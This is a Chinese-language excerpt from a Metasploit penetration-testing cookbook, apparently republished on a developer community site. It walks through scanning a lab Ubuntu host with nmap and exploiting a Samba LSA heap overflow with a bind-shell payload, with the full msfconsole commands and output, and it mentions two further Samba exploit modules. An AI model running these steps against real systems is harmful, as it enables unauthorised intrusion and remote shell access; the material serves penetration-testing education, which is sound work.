开发者社区> 异步社区> 正文

《Metasploit渗透测试手册》—第3章3.7节 对Linux(Ubuntu)机器进行攻击渗透

简介:
+关注继续查看

本节书摘来自异步社区《Metasploit渗透测试手册》一书中的第3章3.7节 对Linux(Ubuntu)机器进行攻击渗透,作者【印度】Abhinav Singh,更多章节内容可以访问云栖社区“异步社区”公众号查看。

3.7 对Linux(Ubuntu)机器进行攻击渗透
Metasploit渗透测试手册
Linux是继Windows之后应用广泛的操作系统之一,在前面几节中,我们介绍了怎样通过可用服务中的漏洞对Windows机器进行渗透,本节将关注Linux操作系统漏洞,示例针对的是Ubuntu 9,工作过程和任何其他运行Samba服务的Linux、Solaris操作系统一样。

准备
首先对Linux目标机器进行扫描,收集可用服务信息。使用Nmap进行快速扫描并分析其结果。

msf > nmap -sT 192.168.56.101
[*] exec: nmap 192.168.56.101
Starting Nmap 5.20 ( http://nmap.org ) at 2011-11-05 13:35 IST
Warning: Traceroute does not support idle or connect scan, disabling...
Nmap scan report for 192.168.56.101
Host is up (0.00048s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE VERSION
80/tcp  open http Apache httpd 2.2.3 ((Ubuntu) PHP/5.2.1) |_html-title: Index of /
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME) 
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME)
MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/)

收集到目标相关的信息后,为其选择漏洞利用代码和合适的攻击载荷。

怎样实现
对Linux机器的渗透过程与Windows类似,采用如下步骤。

(1)主要任务是选择正确的漏洞利用代码和攻击载荷,可以在Metasploit目录中搜索可用的Samba漏洞利用代码。

msf > search Samba
(2)该命令将返回各种有关Samba的辅助模块和漏洞利用代码模块列表,选择使用的是评级为good的exploit/linux/samba/lsa_transnames_heap漏洞利用代码模块,因为该模块对目标攻击渗透的成功率较高。下面的命令将该模块设置为活跃状态,并设置必要的参数。

msf > use exploit/linux/samba/lsa_transnames_heap
msf  exploit(lsa_transnames_heap) > show options
Module options (exploit/linux/samba/lsa_transnames_heap):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                      yes      The target address
   RPORT    445               yes      Set the SMB service port
   SMBPIPE  LSARPC            yes      The pipe name to use
Exploit target:
   Id  Name
   --  ----
   0   Linux vsyscall
msf  exploit(lsa_transnames_heap) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
msf  exploit(lsa_transnames_heap) >

(3)接下来选择合适的攻击载荷,要记住的是,我们的目标是Linux机器,因此必须选择Linux攻击载荷。选择使用的是linux/x86/shell_bind_tcp payload,其工作原理与前面分析过的Windows攻击载荷bind_tcp类似。

msf  exploit(lsa_transnames_heap) > set payload linux/x86/shell_
bind_tcp 
payload => linux/x86/shell_bind_tcp
msf  exploit(lsa_transnames_heap) > show options
Module options (exploit/linux/samba/lsa_transnames_heap):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.56.101    yes      The target address
   RPORT    445               yes      Set the SMB service port
   SMBPIPE  LSARPC            yes      The pipe name to use
Payload options (linux/x86/shell_bind_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444               yes      The listen port
   RHOST  192.168.56.101     no       The target address
(4)各种选项已设置完毕,最后使用exploit命令进行攻击渗透过程。

msf  exploit(lsa_transnames_heap) > exploit
[*] Started bind handler
[*] Creating nop sled....
[*] Trying to exploit Samba with address 0xffffe410...
[*] Connecting to the SMB service...

漏洞利用代码成功执行后,将建立攻击方机器到目标方机器的shell连接,这一过程与前面章节中讨论的过程非常类似,唯一的差别在于选择的漏洞利用代码和攻击载荷不同。尝试的漏洞利用代码和攻击载荷的组合越多,对这些概念的理解就会越好。

怎样工作
下面对Samba服务及其工作机理、漏洞利用原理进行一个快速介绍。Samba用于在Linux和Windows机器之间进行打印和文件共享。本漏洞利用模块激发Samba守护进程的LSA RPC服务中的堆溢出漏洞,并使用talloc chunk重写方法(credit Ramon and Adriano),该方法只适用在Samba 3.0.21-3.0.24版本。该漏洞利用代码利用了堆中动态内存分配的优势。第一次利用该漏洞时会出现失败的情况,因此可以多次尝试。

更多
下面介绍其他一些与Linux操作系统相关的漏洞利用模块。

其他与Linux相关的漏洞利用模块
除了本节讨论的漏洞利用模块之外,还有两个模块值得注意。强烈建议读者尝试这两个漏洞利用模块以便加深理解。

Samba chain_reply内存损坏漏洞:该漏洞利用代码会损坏Samba 3.3.13以前版本中分配给响应数据包的内存,可通过传递超过目标缓冲区大小的值实现。

Samba trans2open溢出:这是Samba2.2.0版本到2.2.8版本中普遍存在的一个缓冲区溢出漏洞,其工作原理是利用没有noexec栈选项的x86 Linux机器中的漏洞。

本文仅用于学习和交流目的,不代表异步社区观点。非商业转载请注明作译者、出处,并保留本文的原始链接。

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
linux常用命令手册
平时用到的常用命令,在此记录一下分享给大家
55 0
清华学姐熬了一个月肝出这份32W字Linux知识手册,在 Github标星31K+ 下
清华学姐熬了一个月肝出这份32W字Linux知识手册,在 Github标星31K+ 下
45 0
清华学姐熬了一个月肝出这份32W字Linux知识手册,在 Github标星31K+ 中
清华学姐熬了一个月肝出这份32W字Linux知识手册,在 Github标星31K+ 中
32 0
清华学姐熬了一个月肝出这份32W字Linux知识手册,在 Github标星31K+ 上
清华学姐熬了一个月肝出这份32W字Linux知识手册,在 Github标星31K+ 上
67 0
【看表情包学Linux】man 手册 | 复制文件或目录 | 移动文件和重命名操作 | 查看目标文件内容(二)
本篇将继续讲解 Linux 基本命令行操作,对 Linux 手册、复制文件或目录、移动文件与重命名操作和查看目标文件内容进行讲解。我会手把手去演示操作每一个指令的用法以及常用选项,这些命令不需要可以的去记它,记不得就去翻一翻,用多了自然就会记住滴
78 0
【看表情包学Linux】man 手册 | 复制文件或目录 | 移动文件和重命名操作 | 查看目标文件内容(一)
本篇将继续讲解 Linux 基本命令行操作,对 Linux 手册、复制文件或目录、移动文件与重命名操作和查看目标文件内容进行讲解。我会手把手去演示操作每一个指令的用法以及常用选项,这些命令不需要可以的去记它,记不得就去翻一翻,用多了自然就会记住滴
75 0
Nginx 在Linux上的安装手册
OpenSSL 是一个强大的安全套接字层密码库,囊括主要的密码算法、常用的密钥和证书封装管理功能及SSL协议,并提供丰富的应用程序供测试或其它目的使用。nginx不仅支持http协议,还支持https(即在ssl协议上传输http),所以需要在linux安装openssl库。
84 0
Linux系统ELK环境搭建手册
Linux系统ELK环境搭建手册
75 0
【云运维】Linux速查备忘手册
一本实用的Linux命令指南,帮助运维人员日常翻看
146 0
你要的Linux命令手册,这个开源项目里全都有!
对于大多数开发者来说,Linux命令行是每天必用的工具;但是,熟练使用命令行是一种常常被忽视或被认为难以掌握的技能,有的程序员即便每天使用许多Linux命令行,但是由于没有持续性练习,经常就容易忘
80 0
linux命令手册-top
linux命令手册-top
82 0
PolarDB 阿里云国产化数据库:linux系统下的详细安装步骤手册
PolarDB 阿里云国产化数据库:linux系统下的详细安装步骤手册
1113 0
达梦 DM8 数据库安装详细手册(Windows+Linux+Docker)(二)
达梦 DM8 数据库安装详细手册(Windows+Linux+Docker)(二)
1027 0
达梦 DM8 数据库安装详细手册(Windows+Linux+Docker)(一)
达梦 DM8 数据库安装详细手册(Windows+Linux+Docker)(一)
709 0
Linux命令-完整手册
Linux命令-完整手册
110 0
+关注
异步社区
异步社区(www.epubit.com)是人民邮电出版社旗下IT专业图书旗舰社区,也是国内领先的IT专业图书社区,致力于优质学习内容的出版和分享,实现了纸书电子书的同步上架,于2015年8月上线运营。公众号【异步图书】,每日赠送异步新书。
文章
问答
视频
相关电子书
更多
ECS运维指南 之 Linux系统诊断
立即下载
低代码开发师(初级)实战教程
立即下载
阿里巴巴DevOps 最佳实践手册
立即下载
相关实验场景
更多
相关镜像